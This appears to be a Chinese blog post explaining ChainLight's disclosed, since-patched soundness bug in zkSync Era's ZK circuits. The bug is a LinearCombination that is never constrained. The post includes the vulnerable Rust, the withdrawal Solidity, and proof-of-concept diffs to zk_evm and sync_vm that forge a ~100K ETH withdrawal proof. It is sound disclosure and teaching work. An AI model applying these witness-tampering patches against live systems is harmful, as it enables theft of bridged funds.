ChainLight zkSync Era漏洞揭秘

1. 引言

ChainLight zkSync Era漏洞揭秘_第1张图片
ChainLight研究人员于2023年9月15日,发现了zkSync Era主网的ZK电路的一个soundness bug,并于2023年9月17日,向Matter Labs团队报告了该问题。Matter Labs团队修复了该问题,并奖励了ChainLight团队5万USDC——为首个zkSync Era的bug bounty。

ChainLight以审计闻名,但其也开发ZK赋能的trustless historical Ethereum state access协议——Relic Protocol。其ZK电路也是基于Matter Labs的电路库的,之前遇到过使用LinearCombination而未约束的类似问题,因此在review zkSync Era电路时,首先关注的是这种类型的bug。

相应的POC原型代码见:

  • https://github.com/chainlight-io/zksync-era-write-query-poc/tree/main(Solidity)

zkSync Era主网的ZK电路的这个soundness bug:

  • 使得某恶意prover可为无效执行的区块生成“proofs”,且L1上的verifier合约将接受该proof。

当前rollup仍处于早期不成熟阶段,除依赖于fraud proof或validity proof之外,还会额外引入一些training wheels(通常为多签),确保当有异常情况或bug出现时,可人为介入保证用户资金安全。

更多audit信息可参看:

  • zkSync Era audit details

2. EraVM

zkSync Era为Matter Labs团队开发的type-4 zkEVM,以下简称为EraVM。
ChainLight zkSync Era漏洞揭秘_第2张图片
EraVM:

  • EraVM为基于寄存器的,而EVM是基于stack的。某些情况下,EraVM仍然使用stack当做临时存储,如当其run out of registers时,但大多数opcodes将以寄存器作为运算对象。
  • EraVM有2个heap:heap和aux heap,可用作临时内存,并在合约间传输数据。为模拟EVM的calldatareturndata语义,EraVM会明确跟踪每个256-bit value是否为指向另一heap的指针,将指针称为“fat pointer”,并对fat pointers如何在合约间传输做了强化规则。
  • 合约内调用没有value。因此其无法直接转账ETH.

为尽可能与EVM语义匹配,EraVM使用了一组运行在“kernel mode”下的“system contracts”,并有权指向特权指令。如,由于calls无法原生转账ETH,ETH balance跟踪和转账由名为L2EthToken的系统合约处理。为在做call时同时转账ETH,需调用MsgValueSimulator系统合约——其具有内核特权来执行ETH转账,然后执行a “mimic” call,给调用者的体验与直接call是一样的。

zkSync Era软件栈中使用了多个EraVM实现:

  • zk_evm repo:为供sequencer和其它节点使用的out-of-circuit实现。prover也会使用该实现了创建详细的execution trace——用作电路的“witness” data。
  • sync_vm repo:为ZK-circuit实现,用于生成实际待证明和在以太坊上待验证的约束。

2.1 EraVM zk-Circuits

EraVM电路非常复杂,为整个网络背后的核心技术。由于其复杂性,本文仅介绍与所发现的soundness bug相关的少量电路,更多EraVM电路知识可参看文档:

  • https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md

由于任意zk-Circuit生成固定数量的约束,任意计算量的证明 需要 使用递归电路,以验证其它电路的proofs。此外,会根据责任拆分成多个电路,以约束计算的不同部分。最终,所有proofs聚合为单个proof,在以太坊上verifier合约中验证。

整个zkSync EraVM电路架构图如下:【源自https://github.com/code-423n4/2023-10-zksync/blob/72f5f16ed4ba94c7689fe38fcb0b7d27d2a3f135/docs/Circuits%20Section/Circuits.md】
ChainLight zkSync Era漏洞揭秘_第3张图片
本文重点关注其中的2种电路:

  • 1)Main VM:约束所执行的一系列指令、基础指令(如arithmetics指令)的输入输出,并生成部分约束的结果队列——供其它电路后续进一步约束。
  • 2)RAM Permutation:验证Main VM电路生成的"memory queue(一组内存操作)"是self-consistent的。

2.2 Memory queue

基于Main VM电路和RAM Permutation电路,所发现的soundness bug与内存操作相关。

首先了解下内存的读写是如何被约束的。

由于内存可被其它电路做写入操作,如de-commitment和Keccak哈希,Main VM电路无法自己来约束内存的读操作。相反,任何时间,其都可以从内存读写数据,并将相应的操作附加到memory queue中。

该memory queue会对一系列MemoryQuery对象进行commit,以确定如下4件事情:

  • 1)(相对于其它指令),该访问发生于何时?
  • 2)访问了哪个内存位置?
  • 3)该访问是读还是写?
  • 4)读写的内容?
pub struct MemoryQuery {
  pub timestamp: UInt32,
  pub memory_page: UInt32,
  pub memory_index: UInt32,
  pub rw_flag: Boolean,
  pub value: UInt256,
  pub value_is_ptr: Boolean,
}

使用Memory Queue,通过约束 source register value置于某(具有目标内存位置的)“write” MemoryQuery中 并附加到该Memory queue中,Main VM电路可处理“store”(内存写)指令。

Main VM电路处理内存读指令将更加复杂,因为Main VM电路自己并不知道特定地址所存在的值(因其它电路也可修改内存)。因此,为处理内存读指令,Main VM电路需加载a witness value到该寄存器中,并附加到Memory Queue中一个(具有该claimed value的)“read” MemoryQuery对象。

当所有内存操作由各种电路commit之后,RAM Permutation电路会检查这些内存操作的一致性。RAM Permutation电路以2个memory queues为输入:

  • 1)源自Main VM电路(和其它内存访问电路)的committed queue。
  • 2)根据(memory_page, memory_index, timestamp) 排序后的、约束为包含相同MemoryQuery对象集合的witness “sorted” queue。

通过对这些内存访问做如上排序,RAM Permutation电路可仅遍历该memory queue一次,并比较相邻元素,来检查内存一致性。相应的伪代码为:

if (prev.memory_page, prev.memory_index) == (cur.memory_page, cur.memory_index) {
  // if cur accesses the same location as the previous, it must either be a write
  // OR have the same value as the previous access
  assert!(cur.rw_flag || cur.value == prev.value);
} else {
  // if cur accesses a new location, it must either be a write OR read the zero value
  assert!(cur.rw_flag || cur.value == 0);
}

当然,生成这些约束的实际代码是nontrivial的。如,可使用permutation argument来检查committed和sorted queues包含的是相同的元素。

3. bug细节

至此,已对本bug细节提供了足够背景。与很多其它bug类似,魔鬼在实际代码实现细节中。

第一个重要实现细节在于:

  • 上面的MemoryQuery结构体实际上是简化版的实际queue包含的内容,实际实现为RawMemoryQuery形式:
    pub struct RawMemoryQuery<E: Engine> {
      pub timestamp: UInt32<E>,
      pub memory_page: UInt32<E>,
      pub memory_index: UInt32<E>,
      pub rw_flag: Boolean,
      pub value_residual: UInt64<E>,
      pub value: Num<E>, //`MemoryQuery`结构体中该字段为UInt256
      pub value_is_ptr: Boolean,
    }
    
    主要不同之处在于:
    • 之前的MemoryQuery结构体中value字段为UInt256类型,而RawMemoryQuery中将其切分为2个字段——UInt64类型和Num类型。这种切分转换的原因在于,电路中所使用的曲线为BN254,其单个域元素仅可 可靠地存储253个bits。
      事实上,UInt256类型内部存储为4个UInt64类型的值——每个在其自己的Num类型中。
      RawMemoryQuery结构体中,value字段存储的是该值的低192 bits,而value_residual字段存储的为高64字段。出于效率原因,RawMemoryQuery结构体在附加到memory queue之前,最终会编码为2个UInt64类型的值:
    impl<E: Engine> RawMemoryQuery<E> {
      pub fn pack<CS: ConstraintSystem<E>>(
        &self,
        cs: &mut CS,
      ) -> Result<[Num<E>; 2], SynthesisError> {
        let shifts = compute_shifts::<E::Fr>();
        let el0 = self.value;
        let mut shift = 0;
        let mut lc = LinearCombination::zero();
        		
        lc.add_assign_number_with_coeff(&self.value_residual.inner, shifts[shift]);
        shift += 64;
        		
        // NOTE: we pack is as it would be compatible with PackedMemoryQuery later on
        lc.add_assign_number_with_coeff(&self.memory_index.inner, shifts[shift]);
        shift += 32;
        lc.add_assign_number_with_coeff(&self.memory_page.inner, shifts[shift]);
        shift += 32;
        		
        // ------------
        lc.add_assign_number_with_coeff(&self.timestamp.inner, shifts[shift]);
        shift += 32;
        lc.add_assign_boolean_with_coeff(&self.rw_flag, shifts[shift]);
        shift += 1;
        lc.add_assign_boolean_with_coeff(&self.value_is_ptr, shifts[shift]);
        shift += 1;
        		
        assert!(shift <= E::Fr::CAPACITY as usize);
        	
        let el1 = lc.into_num(cs)?;
        // dbg!(el0.get_value());
        // dbg!(el1.get_value());
        		
        Ok([el0, el1])   	
      }
    }
    

以上代码中:

  • cs:表示约束系统,其贯穿在整个电路代码中,用于累加约束。通常,仅当函数以cs为参数时,其才可以生成约束。
  • pack:返回[el0, el1]。其中el0源自self.valueel1为将剩余的元素pack到单个Num中。
  • compute_shifts::():对于 0 <= i <= 253,计算 (1 << i) 作为常量域元素。该函数不会生成任何电路约束。
  • el1:通过使用LinearCombination来构建,其格式为 a_0 v_0 + a_1 v_1 + … + a_n v_n,其中a_i 为常量域元素,v_i为电路变量。这些shifts用于将RawMemoryQuery字段pack到不重叠的253-bit value区域中。该linear combination的结构存储在lc.into_num(cs)变量中。

以上代码将RawMemoryQuery pack为2个域元素,看起来是sound的,接下来看RawMemoryQuery是如何构建的。当处理内存写指令时,其构建MemoryWriteQuery 然后将其转换为 RawMemoryQuery

let MemoryLocation { page, index } = mem_loc;

let memory_key = MemoryKey {
 timestamp: mem_timestamp_write,
 memory_page: page,
 memory_index: index,
};

let write_query = MemoryWriteQuery::from_key_and_value_witness(cs, memory_key, value)?;

...

let raw_query = write_query.into_raw_query(cs)?;

...

MemoryWriteQuery的工作原理呢?在以上代码中,value为Register类型,其将256-bit value存储为2个UInt128

pub struct Register<E: Engine> {
  pub inner: [UInt128<E>; 2],
  pub is_ptr: Boolean,
}

当构建MemoryWriteQuery时,该寄存器值使用另一个LinearCombination进一步切分为3个值 (lowest_128, u64_word_2, u64_word_3)

pub(crate) fn from_key_and_value_witness<CS: ConstraintSystem<E>>(
  cs: &mut CS,
  key: MemoryKey<E>,
  register_output: Register<E>,
) -> Result<Self, SynthesisError> {

  let [lowest_128, highest_128] = register_output.inner;

  let tmp = highest_128
    .get_value()
    .map(|el| (el as u64, (el >> 64) as u64));
   
  let (u64_word_2, u64_word_3) = match tmp {
    Some((a, b)) => (Some(a), Some(b)),
    _ => (None, None),
  };

  let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;
  let u64_word_3 = UInt64::allocate(cs, u64_word_3)?;
  let shifts = compute_shifts::<E::Fr>();
  let mut minus_one = E::Fr::one();
   
  minus_one.negate();
  
  let mut lc = LinearCombination::zero();

  lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
  lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
  lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);
  
  let MemoryKey {
    timestamp,
    memory_page,
    memory_index,
  } = key;

  let new = Self {
    timestamp,
    memory_page,
    memory_index,
    lowest_128,
    u64_word_2,
    u64_word_3,
    value_is_ptr: register_output.is_ptr,
  };
  Ok(new)
}

MemoryWriteQuery::into_raw_query会将u64_word_3存储在value_residual中,同时将lowest_128u64_word_2 pack到value字段中:

pub(crate) fn into_raw_query<CS: ConstraintSystem<E>>(
  &self,
  cs: &mut CS,
) -> Result<RawMemoryQuery<E>, SynthesisError> {
  let shifts = compute_shifts::<E::Fr>();
  let mut lc = LinearCombination::zero();
  
  lc.add_assign_number_with_coeff(&self.lowest_128.inner, shifts[0]);
  lc.add_assign_number_with_coeff(&self.u64_word_2.inner, shifts[128]);
  
  let value = lc.into_num(cs)?;
  
  let new = RawMemoryQuery {
    timestamp: self.timestamp,
    memory_page: self.memory_page,
    memory_index: self.memory_index,
    rw_flag: Boolean::constant(true)
    value_residual: self.u64_word_3,
    value,
    value_is_ptr: self.value_is_ptr,
  };
  
  Ok(new)
}

因此,bug在哪呢?
非常细微,但注意约束仅可由 以cs为参数的函数生成。再看from_key_and_value_witness代码:

let mut lc = LinearCombination::zero();

lc.add_assign_number_with_coeff(&u64_word_2.inner, shifts[0]);
lc.add_assign_number_with_coeff(&u64_word_3.inner, shifts[64]);
lc.add_assign_number_with_coeff(&highest_128.inner, minus_one);

不同于其它使用LinearCombination的代码,该代码实际永远不会通过lc生成任何约束。基于这些系数,其意图是约束该lc值为0,但为生成这样的约束,必须:

  • 要么调用lc.enforce_zero(cs)
  • 要么调用lc.into_num(cs),然后进一步约束其结果值。

因此,生成的MemoryWriteQuery结果中的高128位是未约束的。这意味着恶意prover可在这些bits中放置任意值,且verifier将接受该proof是有效的。在正确约束的电路中,这些bits应约束为准确等于源自Register的bits。

4. bug利用细节

该bug使得prover可任意修改(通过store指令)存储在内存中的任意值的高128位,而不改变该proof的有效性。虽然这可能会以无数方式被滥用,但一个特别容易的目标是L2EthToken系统合约。
以下代码为从zkSync Era中取回solidity:

/// @notice Initiate the ETH withdrawal, funds will be available to claim on L1 `finalizeEthWithdrawal` method.
/// @param _l1Receiver The address on L1 to receive the funds.
function withdraw(address _l1Receiver) external payable override {
  uint256 amount = _burnMsgValue();

  // Send the L2 log, a user could use it as proof of the withdrawal
  bytes memory message = _getL1WithdrawMessage(_l1Receiver, amount);
  L1_MESSENGER_CONTRACT.sendToL1(message);

  emit Withdrawal(msg.sender, _l1Receiver, amount);
}

/// @dev Get the message to be sent to L1 to initiate a withdrawal.
function _getL1WithdrawMessage(address _to, uint256 _amount) internal pure returns (bytes memory) {
  return abi.encodePacked(IMailbox.finalizeEthWithdrawal.selector, _to, _amount);
}

该方法在发送L2->L1证明该取款操作之前,会burn msg.value数量的ETH。此处的目的是在L2中burn少量的ETH,而创建的取款消息中具有大得多的_amount字段。注意,_getL1WithdrawMessage helper函数将取款消息编码为内存字节数组。该函数编译为如下EraVM汇编代码:

...

add @CPI0_20[0], r0, r2 // load the function selector into `r2`
ld.1    64, r1          // load the current free memory pointer into `r1`
add 32, r1, r3
st.1    r3, r2          // store function selector into memory at `r1+32`
shl.s   96, r4, r2
add 36, r1, r3
st.1    r3, r2          // store `_to` parameter into memory at `r1+36`
add 56, r1, r2
st.1    r2, r5          // store `_amount` parameter into memory at `r1+56`
add 56, r0, r2
st.1    r1, r2          // store `56` into memory at `r1` (length field)

...

每个st.1指令存储了一个寄存器值到heap中指定的偏移位置。而这些指令支持存储到地址的非对齐方式,其不要求是32的倍数,EraVM将未对齐的stores转换为2个对齐的MemoryWriteQuery。因此,但存储_amount参数时,会创建2个aligned write queries:

{
  memory_page: CUR_HEAP_PAGE,
  memory_index: (r1 + 56) // 32,
  value: (uint256(_to) << 64) | (_amount >> 192)
},
{
  memory_page: CUR_HEAP_PAGE,
  memory_index: (r1 + 56) // 32 + 1,
  value: (_amount << 64)
}

此处的目的是改变以上第二个write query的值,以增加取款消息中所认证的ether数量。为此,在每个EraVM实现中修改负责处理write queries的代码。相应的修改逻辑为:

  • 1)检查待写入的_amount值是否匹配某些magic值,如0x1371337137~.00002 ETH。
  • 2)若匹配,则修改(misaligned write)高128bit值,使得_amount为某huge value,如0x152d0000133713371337~100K ETH。

相应的zk_evm repo修改为:

diff --git a/src/opcodes/execution/uma.rs b/src/opcodes/execution/uma.rs
index 276c02b..7d2f0d5 100644

- -- a/src/opcodes/execution/uma.rs
+++ b/src/opcodes/execution/uma.rs
@@ -371,6 +371,14 @@ impl<const N: usize, E: VmEncodingMode<N>> DecodedOpcode<N, E> {
  (word_0_read_value >> (word_0_lowest_bytes * 8)) << (word_0_lowest_bytes * 8);
  // add highest bytes into lowest for overwriting
  new_word_0_value = new_word_0_value | (src1 >> (unalignment * 8));
+
+                // see if we're writing 0x1337133713370000000000000000
+                if new_word_0_value.0[1] == 0x133713371337 {
+                    // if so, instead write 0x152d00001337133713370000000000000000
+                    new_word_0_value.0[2] = 0x152d;
+                }
+
  // we need low bytes of old word and place low bytes of src1 into highest
  // cleanup highest bytes
  let mut new_word_1_value =

相应的sync_vm repo修改为:

diff --git a/src/vm/vm_cycle/memory_view/write_query.rs b/src/vm/vm_cycle/memory_view/write_query.rs
index cbb4172..0b09ecd 100644

- -- a/src/vm/vm_cycle/memory_view/write_query.rs
+++ b/src/vm/vm_cycle/memory_view/write_query.rs
@@ -60,6 +60,11 @@ impl<E: Engine> MemoryWriteQuery<E> {
  _ => (None, None),
};
+        let u64_word_2 = if let Some(0x1337133713370000000000000000_u128) = lowest_128.get_value() {
+            Some(0x152d)
+        } else {
+            u64_word_2
+        };
// we do not need to range check everything, only N-1 ut of N elements in LC
let u64_word_2 = UInt64::allocate_unchecked(cs, u64_word_2)?;

需注意,仅需修改分配给变量的witness值,而并不修改电路所生成的约束。

通过在后端完成以上修改之后,sequencer/prover现在可处理具有magic value 0x133713371337 wei (~.00002 ETH) 的区块,并输出proven batch——其可证实接收方取款额为0x152d0000133713371337 wei (~100K ETH)。zkSync Era合约将接受该proof,然后攻击者可取光其bridge中的100K个ETH。

5. bug影响分析

考虑到当前的安全层,该bug很难由Matter Labs之外的人利用。对于外部人员来说,可能的攻击场景为:

  • 1)通过注入恶意代码或盗取zkSync Era validator私钥,使zkSync Era后端compromise。
  • 2)执行如上“bug利用细节”流程。
  • 3)等待21小时的execution delay,并期望在取走盗用资金之前,Matter Labs团队未冻结该协议。

由此可知,以上21小时的execution delay,使得实际利用该bug非常难。但是,随着未来去中心化的推进,这样的攻击成功概率将增加,因为到时没有admin团队来直接管理该协议。

因此,让ZK-circuits安全来赋能L2,是以太坊长期扩容里程碑的关键部分。

参考资料

[1] 2023年11月ChainLight博客 Patch Thursday — Uncovering a ZK-EVM Soundness Bug in zkSync Era

zkSync系列博客

  • zkSync 概览
  • zkSync 基本原理
  • zkSync 代码解析
  • zkSync的ZK Stack:Hyperchains和Hyperbridges
  • Boojum:zkSync的高性能去中心化STARK证明系统

你可能感兴趣的:(zkVM,zkVM)